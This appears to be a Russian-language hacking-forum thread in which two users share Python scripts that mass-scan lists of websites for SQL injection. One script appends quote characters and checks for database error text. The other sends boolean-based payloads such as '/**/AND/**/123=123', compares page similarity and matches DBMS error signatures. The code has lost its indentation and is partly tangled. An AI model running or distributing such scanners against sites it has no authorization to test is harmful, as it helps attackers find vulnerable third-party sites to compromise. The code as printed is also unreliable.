Quote:
Originally Posted by Caligula
Code:
|
import os
import sys
import urllib
def log_crt(name, text):
if os.path.exists(name):
open(name, 'a+').write(text)
return True
else:
return False
def sites(name, id):
if os.path.exists(name):
text = open(name, 'r').readlines()
return text[id]
else:
sys.exit(1)
print("[!] SQL Inj checker")
if __name__ == "__main__":
if sys.argv[1] != "" and sys.argv[2] != "":
for i in range(0, len(open(sys.argv[1], 'r').readlines())):
site = sites(sys.argv[1], i)
try:
html = urllib.urlopen(site + "'").read()
if 'SQL' in html or 'syntax' in html or 'Warning' in html:
log_crt(sys.argv[2], site)
print("[\033[1;32mGOOD\033[1;m] " + site)
else:
print("[\033[1;31mERROR\033[1;m] " + site)
except:
pass
print("[\033[1;32mDellete repeat domains\033[1;m]")
for i in range(0, len(open(sys.argv[2], 'r').readlines())):
domain = sites(sys.argv[2], i).replace('http://', '').split('/')
for j in range(0, len(open(sys.argv[2], 'r').readlines())):
dell_domain = sites(sys.argv[2], i).replace('http://', '').split('/')
if(dell_domain[0] == domain[0]):
f = open(sys.argv[2]).read()
f.replace(sites(sys.argv[2], j), '')
print("[\033[1;32mDone\033[1;m]")
else:
print("Error!")
Написал за пару минут и сам его использую, запускать так: python script_name.py файл_с_сайтами.txt файл_для_сохранения_резуль� �атов.txt
Как то тоже писал подобный скрипт для чека SQL Injection, чекает по ключевым словам(Mysql, MSSQL, PostgreSQL и.т.д....) и сравнивает процент сходства страниц - это для того если нет прямого вывода на страницу, пожалуй тоже выложу сюда, писал давно когда начинал учить python внешни вид кода оставляет желать лутшего )
Code:
#!/usr/bin/env python3.5
import itertools, warnings, difflib, argparse, requests, hashlib, sys, re
from requests.packages import urllib3
urllib3.disable_warnings()
headers = {'user-agent': 'Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) Version/6.0.0.450 Mobile Safari/534.8+'}
PROXY = None
BOOLEAN_CHECK = "/**/AND/**/123=123"
BOOLEAN_TEST = "/**/AND/**/123=125"
TIMEOUT = 5
DBMS_SIGN = re.compile(r"SQL syntax.*MySQL|Warning.*mysql_.*|SQL syntax|mysql_num_rows|mysql_fetch_array|Driver.* SQL[\-\_\ ]*Server|OLE DB.* SQL Server|Warning.*mssql_.*|Microsoft Access Driver|Access Database Engine|Server Error in|PostgreSQL.*ERROR|Npgsql\.|valid PostgreSQL result|Oracle error|Oracle.*Driver|Warning.*\Woci_.*|CLI Driver.*DB2|DB2 SQL error|SQLite/JDBCDriver|SQLite.Exception|Warning.*sqlite_.*|(?i )Warning.*sybase.*|Sybase message")
HTML_CLEAN = re.compile(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>|<[^>]+>|\s+")
TARGET_PARAM = re.compile(r"(=[a-zA-Z0-9]*)")
REDIRECT = "False"
VERSION = 0.1
COEFFICENT = 0.95
parser = argparse.ArgumentParser(description='SQL injection check tools v'+str(VERSION))
parser.add_argument("-l", dest="list", help="Choose link list", type=argparse.FileType(), required=True)
args = parser.parse_args()
try:
for link in args.list:
prefix = link.find("http")
if prefix != 0:
link = "http://"+link
else:
None
def page_source_text(sql_link):
try:
sql_link = requests.get(sql_link, headers=headers, verify=False, timeout=TIMEOUT, allow_redirects=REDIRECT)
page_text = sql_link.text
page_code = sql_link.status_code
page_text = HTML_CLEAN.sub(' ', page_text)
return page_text, page_code
except requests.exceptions.RequestException:
return sql_link
def boolean_test_sql(link):
bool_targ = TARGET_PARAM.sub(r"\1"+BOOLEAN_CHECK, link)
bool_targ2 = TARGET_PARAM.sub(r"\1"+BOOLEAN_TEST, link)
original_targ = page_source_text(link)
bool_targ = page_source_text(bool_targ)
bool_targ2 = page_source_text(bool_targ2)
http_code = original_targ[1]
vulns = difflib.SequenceMatcher(None, original_targ[0], bool_targ[0]).quick_ratio()
vulns1 = difflib.SequenceMatcher(None, original_targ[0], bool_targ2[0]).quick_ratio()
if http_code == 200 or http_code == 500:
if vulns >= COEFFICENT and vulns1 <= COEFFICENT:
print (" [ + ] ",link)
sql_target = TARGET_PARAM.sub(r"\1"+"'", link)
union_target = page_source_text(sql_target)
sql_text = union_target[0]
req_code_sql = union_target[1]
if req_code_sql == 200 or req_code_sql == 500:
dbms_error = DBMS_SIGN.search(sql_text) is not None
if dbms_error != 0:
print (" [ + ] ",link)
else:
boolean_test_sql(link)
except KeyboardInterrupt:
print ("\r [x] Ctrl-C pressed")